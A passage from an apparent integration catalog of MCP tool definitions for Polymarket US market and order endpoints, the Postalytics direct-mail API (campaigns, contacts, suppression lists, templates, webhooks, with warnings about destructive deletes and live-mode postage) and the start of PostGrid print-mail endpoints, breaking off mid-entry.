api. polymarketus_get_v1_sports_teams_provider (read) — Fetch sports teams data for a specific provider. Polymarket US GET https://gateway.polymarket.us/v1/sports/teams/provider. Public market data; needs no credential. GET /api/v1/polymarketus/v1/sports/teams/provider. Scopes: api. polymarketus_get_v2_leagues (read) — Retrieve leagues with pagination (max 50 per page). Polymarket US GET https://gateway.polymarket.us/v2/leagues. Public market data; needs no credential. GET /api/v1/polymarketus/v2/leagues. Scopes: api. polymarketus_get_v2_leagues_by_slug (read) — Retrieve a league by its slug. Polymarket US GET https://gateway.polymarket.us/v2/leagues/{slug}. Public market data; needs no credential. GET /api/v1/polymarketus/v2/leagues/{slug}. Scopes: api. polymarketus_get_v2_leagues_by_slug_events (read) — Retrieve events for a league by its slug (e.g., 'nfl', 'nba'). Resolves the league to its active series and returns events. Polymarket US GET https://gateway.polymarket.us/v2/leagues/{slug}/events. Public market data; needs no credential. GET /api/v1/polymarketus/v2/leagues/{slug}/events. Scopes: api. polymarketus_get_v2_sports (read) — Retrieve all sports. Polymarket US GET https://gateway.polymarket.us/v2/sports. Public market data; needs no credential. GET /api/v1/polymarketus/v2/sports. Scopes: api. polymarketus_get_v2_sports_by_slug (read) — Retrieve a sport by its slug, with all leagues attached. Polymarket US GET https://gateway.polymarket.us/v2/sports/{slug}. Public market data; needs no credential. GET /api/v1/polymarketus/v2/sports/{slug}. Scopes: api. polymarketus_get_v2_sports_by_slug_events (read) — Retrieve events for a sport by its slug (e.g., 'football', 'basketball'). Fetches all leagues for the sport, collects their active series, and returns combined events. Polymarket US GET https://gateway.polymarket.us/v2/sports/{slug}/events. Public market data; needs no credential. GET /api/v1/polymarketus/v2/sports/{slug}/events. Scopes: api. polymarketus_get_v2_tags (read) — Get ranked tags with optional filtering. Polymarket US GET https://gateway.polymarket.us/v2/tags. Public market data; needs no credential. GET /api/v1/polymarketus/v2/tags. Scopes: api. polymarketus_get_v2_tags_by_id (read) — Get a tag by its ID. Polymarket US GET https://gateway.polymarket.us/v2/tags/{id}. Public market data; needs no credential. GET /api/v1/polymarketus/v2/tags/{id}. Scopes: api. polymarketus_get_v2_tags_by_slug_events (read) — Get events filtered by tag slug, sorted by volume descending by default. Polymarket US GET https://gateway.polymarket.us/v2/tags/{slug}/events. Public market data; needs no credential. GET /api/v1/polymarketus/v2/tags/{slug}/events. Scopes: api. polymarketus_get_v2_tags_slug_by_slug (read) — Get a tag by its slug. Polymarket US GET https://gateway.polymarket.us/v2/tags/slug/{slug}. Public market data; needs no credential. GET /api/v1/polymarketus/v2/tags/slug/{slug}. Scopes: api. polymarketus_post_v1_combos (write) — Creates or returns the combo instrument for the supplied legs. The participant associated with the authenticated API key may create up to 1,000 new combo instruments per week across all of its accounts. The quota resets Monday at 00:00 UTC. Returning an existing canonical combo does not consume the quota. Polymarket US POST https://api.polymarket.us/v1/combos. Authenticated: runs against the connected Polymarket US account and is signed with its API key. POST /api/v1/polymarketus/v1/combos. Scopes: api. polymarketus_post_v1_order_by_orderid_cancel (write) — Cancel a specific order by its exchange-assigned ID. Polymarket US POST https://api.polymarket.us/v1/order/{orderId}/cancel. Authenticated: runs against the connected Polymarket US account and is signed with its API key. POST /api/v1/polymarketus/v1/order/{orderId}/cancel. Scopes: api. polymarketus_post_v1_order_preview (write) — Preview an order before submission to validate parameters and see expected fills. Polymarket US POST https://api.polymarket.us/v1/order/preview. Authenticated: runs against the connected Polymarket US account and is signed with its API key. POST /api/v1/polymarketus/v1/order/preview. Scopes: api. polymarketus_post_v1_orders_batched_cancel (write) — Cancel up to 20 orders in a single request. If any entry fails request-shape validation, the whole batch is rejected by the gateway before reaching the exchange. The exchange may silently ignore unknown `orderId`s. `canceledOrderIds` is an echo of the request, not a confirmation; observe actual outcomes on the order stream. Polymarket US POST https://api.polymarket.us/v1/orders/batched/cancel. Authenticated: runs against the connected Polymarket US account and is signed with its API key. POST /api/v1/polymarketus/v1/orders/batched/cancel. Scopes: api. polymarketus_post_v1_orders_open_cancel (write) — Cancel all open orders, optionally filtered by market slugs. Polymarket US POST https://api.polymarket.us/v1/orders/open/cancel. Authenticated: runs against the connected Polymarket US account and is signed with its API key. POST /api/v1/polymarketus/v1/orders/open/cancel. Scopes: api. ================================================================================ ## Postalytics URL: https://www.agenticfabriq.com/integrations/postalytics Section: Integrated Tools Postalytics — 43 MCP tools Provider key: postalytics. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. postalytics_delete_account_by_id (delete, destructive) — DESTRUCTIVE, AND WIDER THAN ITS NAME. Deleting a Postalytics account also permanently deletes every campaign, template and list belonging to it -- the vendor states this on the operation itself. It deletes SUB-accounts and sub-user accounts only: a parent account cannot be removed through the API and needs Postalytics support. Nothing here is recoverable and there is no recycle bin to read the deletion back out of. DELETE /api/v1/postalytics/api/v1/account/{id}. Scopes: api. postalytics_delete_campaign_by_id (delete, destructive) — DESTRUCTIVE. Permanently delete a campaign by its drop id, with its counters and its endpoint. Pieces already mailed are already in the post and are not recalled by this. DELETE /api/v1/postalytics/api/v1/campaigns/{id}. Scopes: api. postalytics_delete_contacts_by_id (delete, destructive) — DESTRUCTIVE. Remove one contact, by its CONTACT id, from the list it is on. Pieces already mailed to that contact are unaffected. DELETE /api/v1/postalytics/api/v1/contacts/{id}. Scopes: api. postalytics_delete_lists_suppression_by_id (delete, destructive) — DESTRUCTIVE, AND IT REMOVES A SAFETY RAIL. Deleting a suppression list deletes every do-not-mail address on it, so addresses a campaign was skipping become mailable again. Read the list's contacts out first if they matter. DELETE /api/v1/postalytics/api/v1/lists/suppression/{id}. Scopes: api. postalytics_delete_lists_suppression_contact_by_list_id_by_contact_id (delete, destructive) — DESTRUCTIVE, AND IT MAKES AN ADDRESS MAILABLE AGAIN. Removing a contact from a suppression list removes the instruction not to mail them, so the next campaign that would have skipped that address will print and post to it. DELETE /api/v1/postalytics/api/v1/lists/suppression/contacts/{list_id}/{contact_id}. Scopes: api. postalytics_delete_templates_by_id (delete, destructive) — DESTRUCTIVE. Permanently delete a template by id. Campaigns already built from it keep their preview images; new campaigns can no longer reference it. DELETE /api/v1/postalytics/api/v1/templates/{id}. Scopes: api. postalytics_delete_webhooks_by_id (delete, destructive) — DESTRUCTIVE. Delete a webhook so Postalytics stops posting that campaign's events to it. The campaign and its events are untouched. DELETE /api/v1/postalytics/api/v1/webhooks/{id}. Scopes: api. postalytics_get_account_by_id (read) — Read one Postalytics account by its numeric account id -- the same record shape as the connected-account read. Reaches the connection's own account and the sub-accounts beneath it; an id outside that subtree is not yours to read. Agentic Fabriq REDACTS the api_key field out of the response before returning it. GET /api/v1/postalytics/api/v1/account/{id}. Scopes: api. postalytics_get_account_me (read) — Read the Postalytics account this connection's API key belongs to -- its account id, username, email, company, phone, name, address and creation date. This is the cheapest way to confirm which account a key reaches, which matters on Postalytics because an agency holds a separate key per master account and per client sub-account and nothing else on the wire says which one you are holding. Agentic Fabriq REDACTS the api_key field out of the response before returning it. GET /api/v1/postalytics/api/v1/account/me. Scopes: api. postalytics_get_campaign_by_id (read) — Read one campaign by its DROP id -- the `drop_id` from the campaign list or from the create response, not the `campaign_id` that appears beside it. The record carries the same counters the list returns. GET /api/v1/postalytics/api/v1/campaigns/{id}. Scopes: api. postalytics_get_campaign_details_by_id (read) — Read a campaign's SETTINGS rather than its statistics: its drop id, name, endpoint id, status and contact list id. Statuses are 1 Sent, 0 Pending, -1 Draft Mode, 9 or 10 Processing. This is where the campaign's `ContactListId` comes from, which the contact tools then address. GET /api/v1/postalytics/api/v1/campaigns/{id}/details. Scopes: api. postalytics_get_campaign_event_by_id_by_dataid (read) — The same event stream narrowed to ONE recipient within the campaign: `id` is the campaign's drop id and `dataid` is the mail piece's data id. Paged the same way, and it answers 400 `Campaign events not found` when the campaign has produced no events yet. GET /api/v1/postalytics/api/v1/campaigns/{id}/events/{dataid}. Scopes: api. postalytics_get_campaign_events_by_id (read) — List the most recent delivery and engagement events for a campaign, newest first and paged. Event names Postalytics returns are Mail Piece Created, Addressed, Mailed, In Transit, In Local Area, Processed for Delivery, Returned To Sender, Re-Routed, pURL Opened and purl Completed; online activity carries the visited URL in its metadata and offline activity carries none. ⚠ A CAMPAIGN WITH NO EVENTS YET ANSWERS 400 `Campaign events not found` rather than an empty array (measured 2026-09-19) -- an empty collection, not a failure. A test-mode campaign produces no events at all. GET /api/v1/postalytics/api/v1/campaigns/{id}/events. Scopes: api. postalytics_get_campaigns (read) — List every campaign in the account with its delivery and engagement counters -- audience, delivered, in transit, in local area, returned, unique visitors, conversions, pageviews -- plus its drop id, its endpoint id and whether it is in live or test mode. ⚠ ON AN ACCOUNT WITH NO CAMPAIGNS THIS ANSWERS 400 `Campaign not found`, not an empty array (measured 2026-09-19: 400 before any campaign existed, 200 with the full record immediately after one was created). That 400 is an EMPTY COLLECTION, not a bad request and not a bad key. GET /api/v1/postalytics/api/v1/campaigns. Scopes: api. postalytics_get_campaigns_drips (read) — List every triggered drip campaign in the account as a name and an `endpoint_id` pair. This is the cheapest way to find the endpoint the Send tool addresses; the campaign read gives the rest of the detail. Answers `{"drips": []}` on an account with none -- a proper empty collection, unlike the campaign list. GET /api/v1/postalytics/api/v1/campaigns/drips. Scopes: api. postalytics_get_contacts (read) — List the contact lists in the account -- each with its `contact_list_id`, its name, how many contacts it holds and when it was created. A campaign's own list appears here under the campaign's name, so this is one way to find the id the contact tools address (the campaign-settings tool is the other, and is exact). ⚠ THE LIST IS NOT IMMEDIATELY CONSISTENT: measured 2026-09-19, a list created moments earlier by a campaign was still absent from this answer while the same list read in full through the list-contacts tool; it appeared on a later call. An empty or short answer is worth re-reading before it is believed. GET /api/v1/postalytics/api/v1/contacts. Scopes: api. postalytics_get_contacts_by_id (read) — List the contacts on one contact list, addressed by the CONTACT LIST id (from the campaign settings tool), paged by an offset and a limit. `start` is a row number beginning at 1 and `limit` excludes the starting row; a limit above 100 or equal to 0 is silently clamped to 100. Each contact carries its `contact_id`, its address fields and its var_field_1 .. var_field_50 merge values. GET /api/v1/postalytics/api/v1/contacts/{id}. Scopes: api. postalytics_get_contacts_details_by_id (read) — Read one contact by its CONTACT id (not a list id -- the sibling tool takes a list id at almost the same path, which is the easiest mix-up to make here). ⚠ THE RESPONSE SPEAKS A THIRD VOCABULARY: this record comes back PascalCase (`FirstName`, `Address`, `VarField1`, `ContactListId`) while the list read of the same contact returns snake_case (`first_name`, `address_street`, `var_field_1`). It also carries the contact's pURL and QR code, which the list read does not. GET /api/v1/postalytics/api/v1/contacts/details/{id}. Scopes: api. postalytics_get_flow (read) — List the account's Postalytics flows. NOT IN THE VENDOR'S OWN SDK -- the 43 client methods of postalytics-python 1.0.471 do not include it -- and it is live: the sealed research ledger records it as `get_all_flows`, the route oracle answers 401 for it credential-free while `/api/v1/flowzz` answers 404, and it answered 200 `[]` to a real key (all measured 2026-09-19). It ships on that evidence. GET /api/v1/postalytics/api/v1/flow. Scopes: api. postalytics_get_lists_suppression (read) — List the account's suppression lists with each one's id, name, country and contact total. A suppression list is the do-not-mail list: an address on it is skipped by a campaign rather than printed, which is the one place on this API where adding a record PREVENTS postage being spent. The optional `id` narrows the answer to one list. GET /api/v1/postalytics/api/v1/lists/suppression. Scopes: api. postalytics_get_lists_suppression_by_id (read) — Read one suppression list by id -- its name, type, country, creation date and how many contacts it holds. The contacts themselves come from the list-contacts tool. GET /api/v1/postalytics/api/v1/lists/suppression/{id}. Scopes: api. postalytics_get_lists_suppression_contact_by_list_id_by_contact_id (read) — Read one contact on one suppression list, by the list id and the contact's `dataId`. GET /api/v1/postalytics/api/v1/lists/suppression/contacts/{list_id}/{contact_id}. Scopes: api. postalytics_get_lists_suppression_contacts_by_list_id (read) — List the contacts on one suppression list, with the list's own summary alongside them. Each contact carries a `dataId`, its standardised address -- Postalytics normalises and ZIP+4s what you send -- and a `hasValidAddress` flag. Paged by `offset`. GET /api/v1/postalytics/api/v1/lists/suppression/contacts/{list_id}. Scopes: api. postalytics_get_templates (read) — List the account's mail-piece templates with their html, size, page count, proofed and double-sided flags and signed preview-image URLs. ⚠ ON AN ACCOUNT WITH NO TEMPLATES THIS ANSWERS 400 `Template not found`, not an empty array (measured 2026-09-19: 400 before any template existed, 200 with the full record immediately after one was created). That 400 is an EMPTY COLLECTION, not a bad request and not a bad key -- which is exactly why this endpoint is NOT this integration's connection probe, though the vendor's own reference uses it as its authentication example. GET /api/v1/postalytics/api/v1/templates. Scopes: api. postalytics_get_templates_by_id (read) — Read one template by id, with its html and its signed front and back preview-image URLs. GET /api/v1/postalytics/api/v1/templates/{id}. Scopes: api. postalytics_get_user (read) — Read the user record behind this connection -- name, username, email, company and billing addresses, user type, domain and joined date. ⚠ THIS RECORD ECHOES THE API KEY as its `UserGUID` field; Agentic Fabriq REDACTS that field before returning the response. GET /api/v1/postalytics/api/v1/user. Scopes: api. postalytics_get_user_by_user_id (read) — Read one user by id. Must be a sub-account or a sub-user of the requester. ⚠ Echoes that user's API key as `UserGUID`; Agentic Fabriq REDACTS it. GET /api/v1/postalytics/api/v1/user/{user_id}. Scopes: api. postalytics_get_webhooks (read) — List the account's webhooks, each with the campaign it watches, its endpoint id, its target url and whether it is subscribed. Answers `[]` on an account with none -- a proper empty collection. GET /api/v1/postalytics/api/v1/webhooks. Scopes: api. postalytics_get_webhooks_by_id (read) — Read one webhook by id. GET /api/v1/postalytics/api/v1/webhooks/{id}. Scopes: api. postalytics_post_account (write) — Create a Postalytics sub-account beneath the requester's account. The response carries the NEW account's own API key and user id, which is how an agency platform provisions a client: store that key and make the client's subsequent calls with it. `username` must be unique and unused, and `password` must be at least 8 characters with an uppercase letter, a lowercase letter, a number and a special character -- Postalytics answers 400 naming the field otherwise. Creating an account costs nothing and mails nothing. POST /api/v1/postalytics/api/v1/account. Scopes: api. postalytics_post_campaigns (write) — Create a direct-mail campaign (a 'drop'). A TEMPLATE MUST EXIST AND BE PROOFED FIRST and its id passed as `TemplateFrontId`. The response carries the new `drop_id`; the campaign's ENDPOINT id -- the thing the Send tool addresses -- is then read from the campaign list, the campaign read or the drip list. ⚠ `IsLiveMode` DECIDES WHETHER THIS CAMPAIGN SPENDS POSTAGE. Created false, the campaign is a test drip and sends against it print and mail nothing; created or switched true, every subsequent send is a real physical mail piece billed to the account. Creating the campaign itself mails nothing either way. POST /api/v1/postalytics/api/v1/campaigns. Scopes: api. postalytics_post_contacts (write) — Add a contact to a contact list. `contact_list_id` IS REQUIRED and must name an existing list -- without it, and with a list id of 0, Postalytics answers 400 `Validation error` and names nothing (measured 2026-09-19). Get the id from the campaign settings tool. Creating a contact mails nothing; whether a piece is ever sent to it is decided by the Send tool and the campaign's live mode. POST /api/v1/postalytics/api/v1/contacts. Scopes: api. postalytics_post_lists_suppression (write) — Create a suppression (do-not-mail) list. `Name` is what you will recognise it by and `Country` is a two-letter code -- Postalytics expands `US` to `United States` in the response. Costs nothing and mails nothing. POST /api/v1/postalytics/api/v1/lists/suppression. Scopes: api. postalytics_post_lists_suppression_contacts_by_list_id (write) — Add an address to a suppression list so campaigns stop mailing it. Postalytics standardises what you send -- measured 2026-09-19, `200 Berkeley St, Boston, MA 02116` came back as `200 BERKELEY ST / BOSTON / 02116-5022` with `hasValidAddress: true` -- and the response is the whole list with its new total. This is the operation that PREVENTS postage rather than spending it. POST /api/v1/postalytics/api/v1/lists/suppression/contacts/{list_id}. Scopes: api. postalytics_post_loginlink (write) — Mint a short-lived auto-login URL for the account this connection holds, so an embedding platform can pop a Postalytics Express Window with the account already signed in. THE LINK IS A BEARER OF THAT SESSION and the vendor says it is valid only for a short period and should be used immediately -- treat the returned URL as a credential. `url` is required and is prepended to the link for white-labelled accounts; without it Postalytics uses its own postalytics.com host. `id` optionally deep-links to a template or a campaign. ⚠ Postalytics also requires an `api_key` field in this body, naming the account the link signs into; Agentic Fabriq fills it from this connection's own stored credential and does NOT accept it as an argument, so no API key is ever passed to or logged by a tool call. A link for a different sub-account is minted by connecting that sub-account's key. POST /api/v1/postalytics/api/v1/loginlink. Scopes: api. postalytics_post_send_by_end_point (write) — ⚠ THIS SENDS PHYSICAL MAIL AND SPENDS REAL POSTAGE WHEN THE CAMPAIGN IS LIVE. Kick off a triggered drip to one recipient. `end_point` is the campaign's endpoint id -- from the drip list, the campaign list or the campaign settings -- and it, not this call, decides the template, the postage, the return address and the pURL redirect. WHETHER ANYTHING IS ACTUALLY PRINTED AND MAILED IS THE CAMPAIGN'S `is_live_mode`, NOT A PARAMETER HERE: against a test-mode campaign the call is accepted and nothing is mailed (measured 2026-09-19 -- 200 with a send_date, audience unchanged at 0 and no event produced); against a live campaign the same call prints and posts a piece and bills the account. Required fields are first_name, last_name and the recipient's street, city, two-letter state and valid ZIP; var_field_1 .. var_field_35 carry merge values into the template. POST /api/v1/postalytics/api/v1/send/{end_point}. Scopes: api. postalytics_post_templates (write) — Create a mail-piece template, TWO WAYS. Either pass `front` and `back` as image URLs for full-size backgrounds carrying no other text, or pass the whole piece as `html` with `is_full_html` true, built to Postalytics' template standards. ⚠ `is_proofed` true OVERRIDES POSTALYTICS' PROOFING PROCESS and the vendor states it takes no responsibility for templates created that way -- but a campaign cannot be created from an unproofed template, so this is the flag that lets an API-built template be used. Creating a template costs nothing and mails nothing. POST /api/v1/postalytics/api/v1/templates. Scopes: api. postalytics_post_webhooks (write) — Create a webhook so Postalytics posts a campaign's events out to your own endpoint. `url` must be a reachable endpoint and `is_subscribed` must be 1 for it to fire. ⚠ `campaign_id` IS THE CAMPAIGN'S DROP ID, not the `campaign_id` field that appears beside it in the campaign list: measured 2026-09-19, drop 93227 was accepted (200) and campaign_id 82244 for the same campaign answered 400 `Validation error`. WHICH events are delivered is set in the Postalytics application, not here; the vendor says that will be exposed on this endpoint in a future release. POST /api/v1/postalytics/api/v1/webhooks. Scopes: api. postalytics_put_account (write) — Update an existing Postalytics account -- a free-standing account or a sub-account of an agency, addressed by `account_id` IN THE BODY rather than in the path. The response carries that account's API key and user id. Send only the fields you mean to change. PUT /api/v1/postalytics/api/v1/account. Scopes: api. postalytics_put_campaign_by_id (write) — ⚠ THIS TOGGLES POSTAGE SPENDING. It flips a triggered-drip or automated-file campaign from Test mode to Live and back -- there is no request body and no target state to pass, so the call is its own inverse and a second call returns the campaign to where it was. In LIVE mode every subsequent Send against this campaign's endpoint prints and mails a real physical piece and bills the account; in TEST mode a send is accepted and mails nothing. The id is the campaign's DROP id. Read the campaign back and check `is_live_mode` rather than assuming the direction of the flip. PUT /api/v1/postalytics/api/v1/campaigns/{id}. Scopes: api. postalytics_put_contacts (write) — Update a contact's details in place. The contact is addressed by `contact_id` and `contact_list_id` IN THE BODY, not in the path. Same snake_case vocabulary as the create. ⚠ MEASURED 2026-09-19 THE PROVIDER FAILS THIS OPERATION ITSELF: every call naming a REAL contact answered 400 `Error updating contact -An unexpected error occurred. Reference: <id>` and changed nothing -- 17 attempts across two credential carriers, three lists, contacts created by the create tool and by a send, and eight body shapes including the vendor SDK's own example and the record exactly as the list tool returned it. A NONEXISTENT contact id answers 400 `Validation error` instead, so the server finds the contact and its update handler throws after that. A 400 quoting a Reference id here is Postalytics' defect, not your arguments; there is no shape of this request that succeeds today. To change a contact, delete it and create it again. PUT /api/v1/postalytics/api/v1/contacts. Scopes: api. postalytics_put_lists_suppression_contact_by_list_id_by_contact_id (write) — Update one record on a suppression list in place, addressed by the list id and the contact's `dataId`: its name, company, email, phone, occupation, website and merge fields. ⚠ THE ADDRESS CANNOT BE CHANGED HERE, and this tool does not offer it. Measured 2026-09-19, sending any of Address, Address2, City, State or Zip answers 400 `Updating suppression list contact address fields is not allowed`, naming all five -- so they are absent from this tool while the ADD still takes them. To change which address is suppressed, delete the record and add the new one. PUT /api/v1/postalytics/api/v1/lists/suppression/contacts/{list_id}/{contact_id}. Scopes: api. postalytics_put_webhooks (write) — Update a webhook in place -- its url or its subscribed flag. The webhook is addressed by `campaign_id` (the drop id) IN THE BODY, not in the path. PUT /api/v1/postalytics/api/v1/webhooks. Scopes: api. ================================================================================ ## PostGrid URL: https://www.agenticfabriq.com/integrations/postgrid Section: Integrated Tools PostGrid — 121 MCP tools Provider key: postgrid. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. postgrid_delete_print_mail_v1_bank_accounts_by_id (write, destructive) — Bank accounts - delete via DELETE /print-mail/v1/bank_accounts/{id} DELETE /api/v1/postgrid/print-mail/v1/bank_accounts/{id}. Scopes: api. postgrid_delete_print_mail_v1_boxes_by_id (write, destructive) — Boxes - delete via DELETE /print-mail/v1/boxes/{id} DELETE /api/v1/postgrid/print-mail/v1/boxes/{id}. Scopes: api. postgrid_delete_print_mail_v1_campaigns_by_id (write, destructive) — Campaigns - delete via DELETE /print-mail/v1/campaigns/{id} DELETE /api/v1/postgrid/print-mail/v1/campaigns/{id}. Scopes: api. postgrid_delete_print_mail_v1_cheques_by_id (write, destructive) — Cheques - delete via DELETE /print-mail/v1/cheques/{id} DELETE /api/v1/postgrid/print-mail/v1/cheques/{id}. Scopes: api. postgrid_delete_print_mail_v1_contacts_by_id (write, destructive) — Contacts - delete via DELETE /print-mail/v1/contacts/{id} DELETE /api/v1/postgrid/print-mail/v1/contacts/{id}. Scopes: api. postgrid_delete_print_mail_v1_letters_by_id (write, destructive) — Letters - delete via DELETE /print-mail/v1/letters/{id} DELETE /api/v1/postgrid/print-mail/v1/letters/{id}. Scopes: api. postgrid_delete_print_mail_v1_mailing_list_imports_by_id (write, destructive) — Mailing list imports - delete via DELETE /print-mail/v1/mailing_list_imports/{id} DELETE /api/v1/postgrid/print-mail/v1/mailing_list_imports/{id}. Scopes: api. postgrid_delete_print_mail_v1_mailing_lists_by_id (write, destructive) — Mailing lists - delete via DELETE /print-mail/v1/mailing_lists/{id} DELETE /api/v1/postgrid/print-mail/v1/mailing_lists/{id}. Scopes: api. postgrid_delete_print_mail_v1_postcards_by_id (write, destructive) — Postcards - delete via DELETE /print-mail/v1/postcards/{id} DELETE /api/v1/postgrid/print-mail/v1/postcards/{id}. Scopes: api. postgrid_delete_print_mail_v1_reports_by_id (write, destructive) — Reports - delete report via DELETE /print-mail/v1/reports/{id} DELETE /api/v1/postgrid/print-mail/v1/reports/{id}. Scopes: api. postgrid_delete_print_mail_v1_reports_by_reportid_exports_by_exportid (write, destructive) — Reports - delete report export via DELETE /print-mail/v1/reports/{reportID}/exports/{exportID} DELETE /api/v1/postgrid/print-mail/v1/reports/{reportID}/exports/{exportID}. Scopes: api. postgrid_delete_print_mail_v1_return_envelopes_by_id_orders_by_orderid (write, destructive) — Return envelopes - cancel order via DELETE /print-mail/v1/return_envelopes/{id}/orders/{orderID} DELETE /api/v1/postgrid/print-mail/v1/return_envelopes/{id}/orders/{orderID}. Scopes: api. postgrid_delete_print_mail_v1_self_mailers_by_id (write, destructive) — Self mailers - delete via DELETE /print-mail/v1/self_mailers/{id} DELETE /api/v1/postgrid/print-mail/v1/self_mailers/{id}. Scopes: api. postgrid_delete_print_mail_v1_snap_packs_by_id (write, destructive) — Snap packs - cancel via DELETE /print-mail/v1/snap_packs/{id} DELETE /api/v1/postgrid/print-mail/v1/snap_packs/{id}. Scopes: api. postgrid_delete_print_mail_v1_targeted_list_builds_by_id (write, destructive) — Targeted list builds - delete via DELETE /print-mail/v1/targeted_list_builds/{id} DELETE /api/v1/postgrid/print-mail/v1/targeted_list_builds/{id}. Scopes: api. postgrid_delete_print_mail_v1_template_editor_sessions_by_id (write, destructive) — Template editor sessions - delete via DELETE /print-mail/v1/template_editor_sessions/{id} DELETE /api/v1/postgrid/print-mail/v1/template_editor_sessions/{id}. Scopes: api. postgrid_delete_print_mail_v1_templates_by_id (write, destructive) — Templates - delete via DELETE /print-mail/v1/templates/{id} DELETE /api/v1/postgrid/print-mail/v1/templates/{id}. Scopes: api. postgrid_delete_print_mail_v1_trackers_by_id (write, destructive) — Trackers - delete via DELETE /print-mail/v1/trackers/{id} DELETE /api/v1/postgrid/print-mail/v1/trackers/{id}. Scopes: api. postgrid_delete_print_mail_v1_webhooks_by_id (write, destructive) — Webhooks - delete via DELETE /print-mail/v1/webhooks/{id} DELETE /api/v1/postgrid/print-mail/v1/webhooks/{id}. Scopes: api. postgrid_get_print_mail_v1_bank_accounts (read) — Bank accounts - list via GET /print-mail/v1/bank_accounts. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/bank_accounts. Scopes: api. postgrid_get_print_mail_v1_bank_accounts_by_id (read) — Bank accounts - get via GET /print-mail/v1/bank_accounts/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/bank_accounts/{id}. Scopes: api. postgrid_get_print_mail_v1_boxes (read) — Boxes - list via GET /print-mail/v1/boxes. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/boxes. Scopes: api. postgrid_get_print_mail_v1_boxes_by_id (read) — Boxes - get via GET /print-mail/v1/boxes/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/boxes/{id}. Scopes: api. postgrid_get_print_mail_v1_campaigns (read) — Campaigns - list via GET /print-mail/v1/campaigns. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/campaigns. Scopes: api. postgrid_get_print_mail_v1_campaigns_by_id (read) — Campaigns - get via GET /print-mail/v1/campaigns/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/campaigns/{id}. Scopes: api. postgrid_get_print_mail_v1_cheques (read) — Cheques - list via GET /print-mail/v1/cheques. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/cheques. Scopes: api. postgrid_get_print_mail_v1_cheques_by_id (read) — Cheques - get via GET /print-mail/v1/cheques/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/cheques/{id}. Scopes: api. postgrid_get_print_mail_v1_cheques_by_id_url (read) — Cheques - get URL via GET /print-mail/v1/cheques/{id}/url. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/cheques/{id}/url. Scopes: api. postgrid_get_print_mail_v1_cheques_by_id_with_deposit_ready_pdf (read) — Cheques - get deposit ready PDF via GET /print-mail/v1/cheques/{id}/with_deposit_ready_pdf. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/cheques/{id}/with_deposit_ready_pdf. Scopes: api. postgrid_get_print_mail_v1_contacts (read) — Contacts - list via GET /print-mail/v1/contacts. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/contacts. Scopes: api. postgrid_get_print_mail_v1_contacts_by_id (read) — Contacts - get via GET /print-mail/v1/contacts/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/contacts/{id}. Scopes: api. postgrid_get_print_mail_v1_events (read) — Events - list via GET /print-mail/v1/events. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/events. Scopes: api. postgrid_get_print_mail_v1_letters (read) — Letters - list via GET /print-mail/v1/letters. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/letters. Scopes: api. postgrid_get_print_mail_v1_letters_by_id (read) — Letters - get via GET /print-mail/v1/letters/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/letters/{id}. Scopes: api. postgrid_get_print_mail_v1_letters_by_id_url (read) — Letters - get URL via GET /print-mail/v1/letters/{id}/url. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/letters/{id}/url. Scopes: api. postgrid_get_print_mail_v1_mailing_list_imports (read) — Mailing list imports - list via GET /print-mail/v1/mailing_list_imports. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/mailing_list_imports. Scopes: api. postgrid_get_print_mail_v1_mailing_list_imports_by_id (read) — Mailing list imports - get via GET /print-mail/v1/mailing_list_imports/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/mailing_list_imports/{id}. Scopes: api. postgrid_get_print_mail_v1_mailing_lists (read) — Mailing lists - list via GET /print-mail/v1/mailing_lists. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/mailing_lists. Scopes: api. postgrid_get_print_mail_v1_mailing_lists_by_id (read) — Mailing lists - get via GET /print-mail/v1/mailing_lists/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/mailing_lists/{id}. Scopes: api. postgrid_get_print_mail_v1_postcards (read) — Postcards - list via GET /print-mail/v1/postcards. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/postcards. Scopes: api. postgrid_get_print_mail_v1_postcards_by_id (read) — Postcards - get via GET /print-mail/v1/postcards/{id}. PostGrid rate-limits individual reads to 50 per minute. GET 